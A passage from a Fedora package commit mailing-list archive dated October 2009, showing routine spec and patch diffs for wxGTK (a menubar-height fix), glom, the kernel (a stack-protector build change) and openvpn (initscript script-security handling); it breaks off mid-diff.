Date: Sun, 25 Oct 2009 09:25:28 +0000 (UTC)
Subject: rpms/wxGTK/devel wxGTK-2.8.10-menubar-height.patch, NONE,
	1.1 wxGTK.spec, 1.49, 1.50
Message-ID: <20091025092528.E1CFD11C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/wxGTK/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15955

Modified Files:
	wxGTK.spec 
Added Files:
	wxGTK-2.8.10-menubar-height.patch 
Log Message:
* Sun Oct 25 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-6
- add fix for wrong menubar height when using larger system font (#528376)


wxGTK-2.8.10-menubar-height.patch:
 frame.cpp |   30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

--- NEW FILE wxGTK-2.8.10-menubar-height.patch ---
Index: src/gtk/frame.cpp
===================================================================
--- src/gtk/frame.cpp	(revision 62486)
+++ src/gtk/frame.cpp	(revision 62487)
@@ -78,6 +78,30 @@
 }
 }
 
+//-----------------------------------------------------------------------------
+// "size-request" from menubar
+//-----------------------------------------------------------------------------
+
+extern "C" {
+static void menubar_size_request(GtkWidget* widget, GtkRequisition*, wxFrame* win)
+{
+    g_signal_handlers_disconnect_by_func(
+        widget, (void*)menubar_size_request, win);
+    win->UpdateMenuBarSize();
+}
+}
+
+//-----------------------------------------------------------------------------
+// "style-set" from menubar
+//-----------------------------------------------------------------------------
+
+extern "C" {
+static void menubar_style_set(GtkWidget* widget, GtkStyle*, wxFrame* win)
+{
+    g_signal_connect(widget, "size-request",
+        G_CALLBACK(menubar_size_request), win);
+}
+}
 #endif // wxUSE_MENUS_NATIVE
 
 #if wxUSE_TOOLBAR
@@ -571,6 +595,9 @@
 
     if ( m_frameMenuBar )
     {
+        g_signal_handlers_disconnect_by_func(
+            m_frameMenuBar->m_widget, (void*)menubar_style_set, this);
+
         m_frameMenuBar->UnsetInvokingWindow( this );
 
         if (m_frameMenuBar->GetWindowStyle() & wxMB_DOCKABLE)
@@ -621,6 +648,9 @@
         gtk_widget_show( m_frameMenuBar->m_widget );
 
         UpdateMenuBarSize();
+
+        g_signal_connect(menuBar->m_widget, "style-set",
+            G_CALLBACK(menubar_style_set), this);
     }
     else
     {


Index: wxGTK.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wxGTK/devel/wxGTK.spec,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- wxGTK.spec	16 Oct 2009 10:14:16 -0000	1.49
+++ wxGTK.spec	25 Oct 2009 09:25:22 -0000	1.50
@@ -20,6 +20,8 @@ Patch0:         %{name}-2.8.10-gsocket.p
 Patch1:         %{name}-2.8.10-CVE-2009-2369.patch
 # http://trac.wxwidgets.org/ticket/11315
 Patch2:         %{name}-2.8.10-wxTimer-fix.patch
+# http://trac.wxwidgets.org/ticket/11310
+Patch3:         %{name}-2.8.10-menubar-height.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -104,6 +106,7 @@ libraries or the X Window System.
 %patch0 -p1 -b .gsocket
 %patch1 -p0 -b .CVE-2009-2369
 %patch2 -p0 -b .wxTimer-fix
+%patch3 -p0 -b .menubar-height
 
 sed -i -e 's|/usr/lib\b|%{_libdir}|' wx-config.in configure
 
@@ -260,6 +263,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-6
+- add fix for wrong menubar height when using larger system font (#528376)
+
 * Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-5
 - add fix for excessive CPU usage (#494425)
 



From denis at fedoraproject.org  Sun Oct 25 09:26:33 2009
From: denis at fedoraproject.org (Denis Leroy)
Date: Sun, 25 Oct 2009 09:26:33 +0000 (UTC)
Subject: rpms/glom/F-12 .cvsignore, 1.27, 1.28 glom.spec, 1.37, 1.38 sources,
	1.27, 1.28
Message-ID: <20091025092633.8DA6A11C00E5@cvs1.fedora.phx.redhat.com>

Author: denis

Update of /cvs/pkgs/rpms/glom/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16352

Modified Files:
	.cvsignore glom.spec sources 
Log Message:
- Update to upstream 1.12.2
- Fixed gnome-python2-gda run-time Require (#530656)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/glom/F-12/.cvsignore,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- .cvsignore	1 Oct 2009 08:08:00 -0000	1.27
+++ .cvsignore	25 Oct 2009 09:26:33 -0000	1.28
@@ -1 +1 @@
-glom-1.12.0.tar.bz2
+glom-1.12.2.tar.bz2


Index: glom.spec
===================================================================
RCS file: /cvs/pkgs/rpms/glom/F-12/glom.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- glom.spec	1 Oct 2009 08:08:01 -0000	1.37
+++ glom.spec	25 Oct 2009 09:26:33 -0000	1.38
@@ -1,5 +1,5 @@
 %define major_version  1.12
-%define minor_version  0
+%define minor_version  2
 
 Name:           glom
 Version:        %{major_version}.%{minor_version}
@@ -39,6 +39,7 @@ Requires:       postgresql-server
 # by glom.
 Requires:       libgda-postgres
 Requires:       libgda-sqlite
+Requires:       gnome-python2-gda
 
 Requires(post):   shared-mime-info desktop-file-utils
 Requires(postun): shared-mime-info desktop-file-utils
@@ -160,6 +161,10 @@ scrollkeeper-update -q || :
 
 
 %changelog
+* Sun Oct 25 2009 Denis Leroy <denis at poolshark.org> - 1.12.2-1
+- Update to upstream 1.12.2
+- Fixed gnome-python2-gda run-time Require (#530656)
+
 * Sat Sep 26 2009 Denis Leroy <denis at poolshark.org> - 1.12.0-1
 - Update to upstream 1.12.0
 - BRs update, library versioning update


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/glom/F-12/sources,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- sources	1 Oct 2009 08:08:01 -0000	1.27
+++ sources	25 Oct 2009 09:26:33 -0000	1.28
@@ -1 +1 @@
-c2a39caea867eb907302fc646e7e097b  glom-1.12.0.tar.bz2
+8f4de116f28501decc0df956ee003809  glom-1.12.2.tar.bz2



From sharkcz at fedoraproject.org  Sun Oct 25 09:26:36 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Sun, 25 Oct 2009 09:26:36 +0000 (UTC)
Subject: rpms/wxGTK/devel wxGTK.spec,1.50,1.51
Message-ID: <20091025092636.55CD811C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/wxGTK/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16388

Modified Files:
	wxGTK.spec 
Log Message:
bump release


Index: wxGTK.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wxGTK/devel/wxGTK.spec,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- wxGTK.spec	25 Oct 2009 09:25:22 -0000	1.50
+++ wxGTK.spec	25 Oct 2009 09:26:36 -0000	1.51
@@ -4,7 +4,7 @@
 
 Name:           wxGTK
 Version:        2.8.10
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        GTK2 port of the wxWidgets GUI library
 # The wxWindows licence is the LGPL with a specific exemption allowing
 # distribution of derived binaries under any terms. (This will eventually



From denis at fedoraproject.org  Sun Oct 25 09:29:11 2009
From: denis at fedoraproject.org (Denis Leroy)
Date: Sun, 25 Oct 2009 09:29:11 +0000 (UTC)
Subject: rpms/glom/devel .cvsignore, 1.27, 1.28 glom.spec, 1.38, 1.39 sources,
	1.27, 1.28
Message-ID: <20091025092911.B7FF611C00E5@cvs1.fedora.phx.redhat.com>

Author: denis

Update of /cvs/pkgs/rpms/glom/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16937

Modified Files:
	.cvsignore glom.spec sources 
Log Message:
- Update to upstream 1.12.2
- Fixed gnome-python2-gda run-time Require (#530656)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/glom/devel/.cvsignore,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- .cvsignore	30 Sep 2009 22:55:42 -0000	1.27
+++ .cvsignore	25 Oct 2009 09:29:11 -0000	1.28
@@ -1 +1 @@
-glom-1.12.0.tar.bz2
+glom-1.12.2.tar.bz2


Index: glom.spec
===================================================================
RCS file: /cvs/pkgs/rpms/glom/devel/glom.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- glom.spec	1 Oct 2009 08:02:47 -0000	1.38
+++ glom.spec	25 Oct 2009 09:29:11 -0000	1.39
@@ -1,5 +1,5 @@
 %define major_version  1.12
-%define minor_version  0
+%define minor_version  2
 
 Name:           glom
 Version:        %{major_version}.%{minor_version}
@@ -39,6 +39,7 @@ Requires:       postgresql-server
 # by glom.
 Requires:       libgda-postgres
 Requires:       libgda-sqlite
+Requires:       gnome-python2-gda
 
 Requires(post):   shared-mime-info desktop-file-utils
 Requires(postun): shared-mime-info desktop-file-utils
@@ -160,6 +161,10 @@ scrollkeeper-update -q || :
 
 
 %changelog
+* Sun Oct 25 2009 Denis Leroy <denis at poolshark.org> - 1.12.2-1
+- Update to upstream 1.12.2
+- Fixed gnome-python2-gda run-time Require (#530656)
+
 * Sat Sep 26 2009 Denis Leroy <denis at poolshark.org> - 1.12.0-1
 - Update to upstream 1.12.0
 - BRs update, library versioning update


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/glom/devel/sources,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- sources	30 Sep 2009 22:55:42 -0000	1.27
+++ sources	25 Oct 2009 09:29:11 -0000	1.28
@@ -1 +1 @@
-c2a39caea867eb907302fc646e7e097b  glom-1.12.0.tar.bz2
+8f4de116f28501decc0df956ee003809  glom-1.12.2.tar.bz2



From sharkcz at fedoraproject.org  Sun Oct 25 09:38:14 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Sun, 25 Oct 2009 09:38:14 +0000 (UTC)
Subject: rpms/wxGTK/F-12 wxGTK-2.8.10-menubar-height.patch, NONE,
	1.1 wxGTK.spec, 1.49, 1.50
Message-ID: <20091025093814.B218E11C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/wxGTK/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18993

Modified Files:
	wxGTK.spec 
Added Files:
	wxGTK-2.8.10-menubar-height.patch 
Log Message:
* Sun Oct 25 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-6
- add fix for wrong menubar height when using larger system font (#528376)


wxGTK-2.8.10-menubar-height.patch:
 frame.cpp |   30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

--- NEW FILE wxGTK-2.8.10-menubar-height.patch ---
Index: src/gtk/frame.cpp
===================================================================
--- src/gtk/frame.cpp	(revision 62486)
+++ src/gtk/frame.cpp	(revision 62487)
@@ -78,6 +78,30 @@
 }
 }
 
+//-----------------------------------------------------------------------------
+// "size-request" from menubar
+//-----------------------------------------------------------------------------
+
+extern "C" {
+static void menubar_size_request(GtkWidget* widget, GtkRequisition*, wxFrame* win)
+{
+    g_signal_handlers_disconnect_by_func(
+        widget, (void*)menubar_size_request, win);
+    win->UpdateMenuBarSize();
+}
+}
+
+//-----------------------------------------------------------------------------
+// "style-set" from menubar
+//-----------------------------------------------------------------------------
+
+extern "C" {
+static void menubar_style_set(GtkWidget* widget, GtkStyle*, wxFrame* win)
+{
+    g_signal_connect(widget, "size-request",
+        G_CALLBACK(menubar_size_request), win);
+}
+}
 #endif // wxUSE_MENUS_NATIVE
 
 #if wxUSE_TOOLBAR
@@ -571,6 +595,9 @@
 
     if ( m_frameMenuBar )
     {
+        g_signal_handlers_disconnect_by_func(
+            m_frameMenuBar->m_widget, (void*)menubar_style_set, this);
+
         m_frameMenuBar->UnsetInvokingWindow( this );
 
         if (m_frameMenuBar->GetWindowStyle() & wxMB_DOCKABLE)
@@ -621,6 +648,9 @@
         gtk_widget_show( m_frameMenuBar->m_widget );
 
         UpdateMenuBarSize();
+
+        g_signal_connect(menuBar->m_widget, "style-set",
+            G_CALLBACK(menubar_style_set), this);
     }
     else
     {


Index: wxGTK.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wxGTK/F-12/wxGTK.spec,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- wxGTK.spec	16 Oct 2009 10:17:00 -0000	1.49
+++ wxGTK.spec	25 Oct 2009 09:38:14 -0000	1.50
@@ -4,7 +4,7 @@
 
 Name:           wxGTK
 Version:        2.8.10
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        GTK2 port of the wxWidgets GUI library
 # The wxWindows licence is the LGPL with a specific exemption allowing
 # distribution of derived binaries under any terms. (This will eventually
@@ -20,6 +20,8 @@ Patch0:         %{name}-2.8.10-gsocket.p
 Patch1:         %{name}-2.8.10-CVE-2009-2369.patch
 # http://trac.wxwidgets.org/ticket/11315
 Patch2:         %{name}-2.8.10-wxTimer-fix.patch
+# http://trac.wxwidgets.org/ticket/11310
+Patch3:         %{name}-2.8.10-menubar-height.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -104,6 +106,7 @@ libraries or the X Window System.
 %patch0 -p1 -b .gsocket
 %patch1 -p0 -b .CVE-2009-2369
 %patch2 -p0 -b .wxTimer-fix
+%patch3 -p0 -b .menubar-height
 
 sed -i -e 's|/usr/lib\b|%{_libdir}|' wx-config.in configure
 
@@ -260,7 +263,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-5 
+* Sun Oct 25 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-6
+- add fix for wrong menubar height when using larger system font (#528376)
+
+* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-5
 - add fix for excessive CPU usage (#494425)
 
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8.10-4



From sharkcz at fedoraproject.org  Sun Oct 25 09:45:59 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Sun, 25 Oct 2009 09:45:59 +0000 (UTC)
Subject: rpms/wxGTK/F-11 wxGTK-2.8.10-menubar-height.patch, NONE,
	1.1 wxGTK.spec, 1.47, 1.48
Message-ID: <20091025094559.AFE4F11C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/wxGTK/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20585

Modified Files:
	wxGTK.spec 
Added Files:
	wxGTK-2.8.10-menubar-height.patch 
Log Message:
* Sun Oct 25 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-4
- add fix for wrong menubar height when using larger system font (#528376)


wxGTK-2.8.10-menubar-height.patch:
 frame.cpp |   30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

--- NEW FILE wxGTK-2.8.10-menubar-height.patch ---
Index: src/gtk/frame.cpp
===================================================================
--- src/gtk/frame.cpp	(revision 62486)
+++ src/gtk/frame.cpp	(revision 62487)
@@ -78,6 +78,30 @@
 }
 }
 
+//-----------------------------------------------------------------------------
+// "size-request" from menubar
+//-----------------------------------------------------------------------------
+
+extern "C" {
+static void menubar_size_request(GtkWidget* widget, GtkRequisition*, wxFrame* win)
+{
+    g_signal_handlers_disconnect_by_func(
+        widget, (void*)menubar_size_request, win);
+    win->UpdateMenuBarSize();
+}
+}
+
+//-----------------------------------------------------------------------------
+// "style-set" from menubar
+//-----------------------------------------------------------------------------
+
+extern "C" {
+static void menubar_style_set(GtkWidget* widget, GtkStyle*, wxFrame* win)
+{
+    g_signal_connect(widget, "size-request",
+        G_CALLBACK(menubar_size_request), win);
+}
+}
 #endif // wxUSE_MENUS_NATIVE
 
 #if wxUSE_TOOLBAR
@@ -571,6 +595,9 @@
 
     if ( m_frameMenuBar )
     {
+        g_signal_handlers_disconnect_by_func(
+            m_frameMenuBar->m_widget, (void*)menubar_style_set, this);
+
         m_frameMenuBar->UnsetInvokingWindow( this );
 
         if (m_frameMenuBar->GetWindowStyle() & wxMB_DOCKABLE)
@@ -621,6 +648,9 @@
         gtk_widget_show( m_frameMenuBar->m_widget );
 
         UpdateMenuBarSize();
+
+        g_signal_connect(menuBar->m_widget, "style-set",
+            G_CALLBACK(menubar_style_set), this);
     }
     else
     {


Index: wxGTK.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wxGTK/F-11/wxGTK.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- wxGTK.spec	16 Oct 2009 10:18:09 -0000	1.47
+++ wxGTK.spec	25 Oct 2009 09:45:59 -0000	1.48
@@ -4,7 +4,7 @@
 
 Name:           wxGTK
 Version:        2.8.10
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        GTK2 port of the wxWidgets GUI library
 # The wxWindows licence is the LGPL with a specific exemption allowing
 # distribution of derived binaries under any terms. (This will eventually
@@ -18,6 +18,8 @@ Source0:        http://dl.sf.net/wxwindo
 Patch0:         %{name}-2.8.10-CVE-2009-2369.patch
 # http://trac.wxwidgets.org/ticket/11315
 Patch1:         %{name}-2.8.10-wxTimer-fix.patch
+# http://trac.wxwidgets.org/ticket/11310 
+Patch2:         %{name}-2.8.10-menubar-height.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -101,6 +103,7 @@ libraries or the X Window System.
 %setup -q -n %{name}-%{version}
 %patch0 -p0 -b .CVE-2009-2369
 %patch1 -p0 -b .wxTimer-fix
+%patch2 -p0 -b .menubar-height
 
 sed -i -e 's|/usr/lib\b|%{_libdir}|' wx-config.in configure
 
@@ -253,6 +256,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-4
+- add fix for wrong menubar height when using larger system font (#528376)
+
 * Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-3
 - add fix for excessive CPU usage (#494425)
 



From sharkcz at fedoraproject.org  Sun Oct 25 09:48:52 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Sun, 25 Oct 2009 09:48:52 +0000 (UTC)
Subject: rpms/wxGTK/F-10 wxGTK-2.8.10-menubar-height.patch, NONE,
	1.1 wxGTK.spec, 1.45, 1.46
Message-ID: <20091025094852.AFDC211C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/wxGTK/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21213

Modified Files:
	wxGTK.spec 
Added Files:
	wxGTK-2.8.10-menubar-height.patch 
Log Message:
* Sun Oct 25 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-4
- add fix for wrong menubar height when using larger system font (#528376)


wxGTK-2.8.10-menubar-height.patch:
 frame.cpp |   30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

--- NEW FILE wxGTK-2.8.10-menubar-height.patch ---
Index: src/gtk/frame.cpp
===================================================================
--- src/gtk/frame.cpp	(revision 62486)
+++ src/gtk/frame.cpp	(revision 62487)
@@ -78,6 +78,30 @@
 }
 }
 
+//-----------------------------------------------------------------------------
+// "size-request" from menubar
+//-----------------------------------------------------------------------------
+
+extern "C" {
+static void menubar_size_request(GtkWidget* widget, GtkRequisition*, wxFrame* win)
+{
+    g_signal_handlers_disconnect_by_func(
+        widget, (void*)menubar_size_request, win);
+    win->UpdateMenuBarSize();
+}
+}
+
+//-----------------------------------------------------------------------------
+// "style-set" from menubar
+//-----------------------------------------------------------------------------
+
+extern "C" {
+static void menubar_style_set(GtkWidget* widget, GtkStyle*, wxFrame* win)
+{
+    g_signal_connect(widget, "size-request",
+        G_CALLBACK(menubar_size_request), win);
+}
+}
 #endif // wxUSE_MENUS_NATIVE
 
 #if wxUSE_TOOLBAR
@@ -571,6 +595,9 @@
 
     if ( m_frameMenuBar )
     {
+        g_signal_handlers_disconnect_by_func(
+            m_frameMenuBar->m_widget, (void*)menubar_style_set, this);
+
         m_frameMenuBar->UnsetInvokingWindow( this );
 
         if (m_frameMenuBar->GetWindowStyle() & wxMB_DOCKABLE)
@@ -621,6 +648,9 @@
         gtk_widget_show( m_frameMenuBar->m_widget );
 
         UpdateMenuBarSize();
+
+        g_signal_connect(menuBar->m_widget, "style-set",
+            G_CALLBACK(menubar_style_set), this);
     }
     else
     {


Index: wxGTK.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wxGTK/F-10/wxGTK.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- wxGTK.spec	16 Oct 2009 10:20:36 -0000	1.45
+++ wxGTK.spec	25 Oct 2009 09:48:52 -0000	1.46
@@ -6,7 +6,7 @@
 
 Name:           wxGTK
 Version:        2.8.10
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        GTK2 port of the wxWidgets GUI library
 # The wxWindows licence is the LGPL with a specific exemption allowing
 # distribution of derived binaries under any terms. (This will eventually
@@ -20,6 +20,8 @@ Source0:        http://dl.sf.net/wxwindo
 Patch0:         %{name}-2.8.10-CVE-2009-2369.patch
 # http://trac.wxwidgets.org/ticket/11315
 Patch1:         %{name}-2.8.10-wxTimer-fix.patch
+# http://trac.wxwidgets.org/ticket/11310
+Patch2:         %{name}-2.8.10-menubar-height.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -131,6 +133,7 @@ libraries or the X Window System.
 %setup -q
 %patch0 -p0 -b .CVE-2009-2369
 %patch1 -p0 -b .wxTimer-fix
+%patch2 -p0 -b .menubar-height
 
 sed -i -e 's|/usr/lib\b|%{_libdir}|' wx-config.in configure
 
@@ -276,6 +279,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-4
+- add fix for wrong menubar height when using larger system font (#528376)
+
 * Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 2.8.10-3
 - add fix for excessive CPU usage (#494425)
 



From cebbert at fedoraproject.org  Sun Oct 25 10:45:34 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sun, 25 Oct 2009 10:45:34 +0000 (UTC)
Subject: rpms/kernel/F-11 disable-stackprotector-all.patch, NONE,
	1.1 kernel.spec, 1.1773, 1.1774
Message-ID: <20091025104534.491BD11C00E5@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32349

Modified Files:
	kernel.spec 
Added Files:
	disable-stackprotector-all.patch 
Log Message:
Disable the stack protector on functions that don't have onstack arrays.

disable-stackprotector-all.patch:
 Kconfig  |    4 ----
 Makefile |    1 -
 2 files changed, 5 deletions(-)

--- NEW FILE disable-stackprotector-all.patch ---
diff -up linux-2.6.31.noarch/arch/x86/Kconfig.dave linux-2.6.31.noarch/arch/x86/Kconfig
--- linux-2.6.31.noarch/arch/x86/Kconfig.dave	2009-09-09 18:13:59.000000000 -0400
+++ linux-2.6.31.noarch/arch/x86/Kconfig	2009-10-23 17:04:30.000000000 -0400
@@ -1444,12 +1444,8 @@ config SECCOMP
 
 	  If unsure, say Y. Only embedded should say N here.
 
-config CC_STACKPROTECTOR_ALL
-	bool
-
 config CC_STACKPROTECTOR
 	bool "Enable -fstack-protector buffer overflow detection (EXPERIMENTAL)"
-	select CC_STACKPROTECTOR_ALL
 	---help---
 	  This option turns on the -fstack-protector GCC feature. This
 	  feature puts, at the beginning of functions, a canary value on
diff -up linux-2.6.31.noarch/arch/x86/Makefile.dave linux-2.6.31.noarch/arch/x86/Makefile
--- linux-2.6.31.noarch/arch/x86/Makefile.dave	2009-09-09 18:13:59.000000000 -0400
+++ linux-2.6.31.noarch/arch/x86/Makefile	2009-10-23 17:04:30.000000000 -0400
@@ -74,7 +74,6 @@ ifdef CONFIG_CC_STACKPROTECTOR
 	cc_has_sp := $(srctree)/scripts/gcc-x86_$(BITS)-has-stack-protector.sh
         ifeq ($(shell $(CONFIG_SHELL) $(cc_has_sp) $(CC)),y)
                 stackp-y := -fstack-protector
-                stackp-$(CONFIG_CC_STACKPROTECTOR_ALL) += -fstack-protector-all
                 KBUILD_CFLAGS += $(stackp-y)
         else
                 $(warning stack protector enabled but no compiler support)


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1773
retrieving revision 1.1774
diff -u -p -r1.1773 -r1.1774
--- kernel.spec	23 Oct 2009 13:41:37 -0000	1.1773
+++ kernel.spec	25 Oct 2009 10:45:32 -0000	1.1774
@@ -807,6 +807,7 @@ Patch15900: ax25-fix-possible-oops-in-ax
 # netlink security fix (CVE-2009-3612)
 Patch16000: netlink-fix-typo-in-initialization.patch
 
+# Fix huge wakeup latencies
 Patch16200: sched-update-the-clock-of-runqueue-select-task-rq-selected.patch
 
 # fix mouse and keyboard detection (#522126)
@@ -825,6 +826,9 @@ Patch16420: keys-get_instantiation_keyri
 # Fix overflow in KVM cpuid code
 Patch16430: kvm-prevent-overflow-in-kvm-get-supported-cpuid.patch
 
+# disable the stackprotector on fns that don't have onstack arrays
+Patch16440: disable-stackprotector-all.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1548,6 +1552,9 @@ ApplyPatch keys-get_instantiation_keyrin
 # Fix overflow in KVM cpuid code
 ApplyPatch kvm-prevent-overflow-in-kvm-get-supported-cpuid.patch
 
+# disable the stackprotector on fns that don't have onstack arrays
+ApplyPatch disable-stackprotector-all.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2136,8 +2143,11 @@ fi
 # and build.
 
 %changelog
+* Sun Oct 25 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-95
+- Disable the stack protector on functions that don't have onstack arrays.
+
 * Thu Oct 22 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-94
-- Fix overflow in KVM cpuid code.
+- Fix overflow in KVM cpuid code. (CVE-2009-3638)
 
 * Thu Oct 22 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-93
 - Fix exploitable oops in keyring code (CVE-2009-3624)
@@ -2148,10 +2158,10 @@ fi
 
 * Mon Oct 19 2009 Kyle McMartin <kyle at redhat.com>
 - af_unix-fix-deadlock-connecting-to-shutdown-socket.patch: fix for
-  rhbz#529626 local DoS.
+  rhbz#529626 local DoS. (CVE-2009-3621)
 
 * Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-90
-- Fix null deref in r128 (F10#487546)
+- Fix null deref in r128 (F10#487546) (CVE-2009-3620)
 
 * Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.30.9-89
 - Keyboard and mouse fixes from 2.6.32 (#522126)



From robert at fedoraproject.org  Sun Oct 25 11:13:29 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Sun, 25 Oct 2009 11:13:29 +0000 (UTC)
Subject: rpms/openvpn/EL-5 openvpn-script-security.patch, 1.1,
	1.2 openvpn.spec, 1.29, 1.30
Message-ID: <20091025111329.7FAC511C00E5@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/openvpn/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5662/EL-5

Modified Files:
	openvpn-script-security.patch openvpn.spec 
Log Message:
Added script_security initialisation in initscript (#458594 #c20)


openvpn-script-security.patch:
 openvpn.init |    7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

Index: openvpn-script-security.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openvpn/EL-5/openvpn-script-security.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openvpn-script-security.patch	30 Nov 2008 14:37:40 -0000	1.1
+++ openvpn-script-security.patch	25 Oct 2009 11:13:28 -0000	1.2
@@ -1,11 +1,12 @@
 --- openvpn-2.1_rc9/sample-scripts/openvpn.init.orig	2008-06-13 02:54:58.000000000 -0500
 +++ openvpn-2.1_rc9/sample-scripts/openvpn.init	2008-08-13 13:51:46.000000000 -0500
-@@ -151,7 +151,11 @@
+@@ -151,7 +151,12 @@
  		. $bn.sh
  	    fi
  	    rm -f $piddir/$bn.pid
 -	    $openvpn --daemon --writepid $piddir/$bn.pid --config $c --cd $work
 +            # Handle backward compatibility, see Red Hat Bugzilla ID #458594
++            script_security=''
 +            if [ -z "$( grep '^[[:space:]]*script-security[[:space:]]' $c )" ]; then
 +                script_security="--script-security 3"
 +            fi


Index: openvpn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvpn/EL-5/openvpn.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- openvpn.spec	30 Nov 2008 14:37:40 -0000	1.29
+++ openvpn.spec	25 Oct 2009 11:13:28 -0000	1.30
@@ -4,7 +4,7 @@
 
 Name:              openvpn
 Version:           2.1
-Release:           0.29%{?prerelease:.%{prerelease}}%{?dist}
+Release:           0.30%{?prerelease:.%{prerelease}}%{?dist}
